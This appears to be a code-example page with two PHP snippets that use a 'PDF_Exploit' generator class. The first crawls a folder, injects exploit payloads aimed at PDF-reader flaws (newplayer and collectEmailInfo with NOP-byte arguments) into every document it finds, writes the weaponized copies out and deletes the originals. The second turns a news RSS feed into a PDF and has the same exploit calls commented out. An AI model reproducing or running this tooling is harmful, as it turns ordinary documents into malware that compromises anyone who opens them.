Exemple #1
0
        if($error !== NULL){ //delete the file no matter what so processing can continue
                unlink($file);
        }
        else{
                unlink($file);
        }
    }

register_shutdown_function('handleShutdown'); //register the fatal error trigger

$dir = "baby_crawler"; //pull from our dir
$dh  = opendir($dir);
while (false !== ($filename = readdir($dh))) {
        if($filename != "." &&  $filename != "..") {
        $file = $dir . "/" . $filename;
                echo "FILE: " . $file . "\n";

$pdf = new PDF_Exploit( 'P', 'mm', 'A4' );
$pdf->SetProtection(array('print'),'');
$pdf->addNewPlayer("\x90");
$pdf->addCollectEmailInfo("\x90");
$pdf->build_exploit();
//$pdf->setFiles(array('sample_docs/cats.pdf')); //set file manually
$pdf->setFiles(array($file)); //set the file automatically
$pdf->concat(); //pack them
$pdf->Output("packed_docs/".$filename,"F");
unlink($file);
}
}
?>
Exemple #2
0
<?php 
require('pdf_exploit_generator.class.php');
require('rss.class.php');

$url = 'http://www.guardian.co.uk/rss';
$rss = new RSS($url,5);
$rss = $rss->get_contents();
$pdf = new PDF_Exploit( 'P', 'mm', 'A4' );
for($i=0;$i<count($rss);$i++) {
	$pdf->AddPage();
	$pdf->SetFont('Arial','B',16);
	$pdf->WriteHTML($rss[$i]['title']);
	$pdf->SetFont('Arial','',16);
	$pdf->WriteHTML($rss[$i]['description']);
}

//$pdf->addCollectEmailInfo("\x90");
//$pdf->addUtilPrintf("\x90");
//$pdf->addGetIcon("\x90");
//$pdf->addNewPlayer("\x90");
//$pdf->build_exploit();

$pdf->HelloWorld();
$pdf->Output();

?>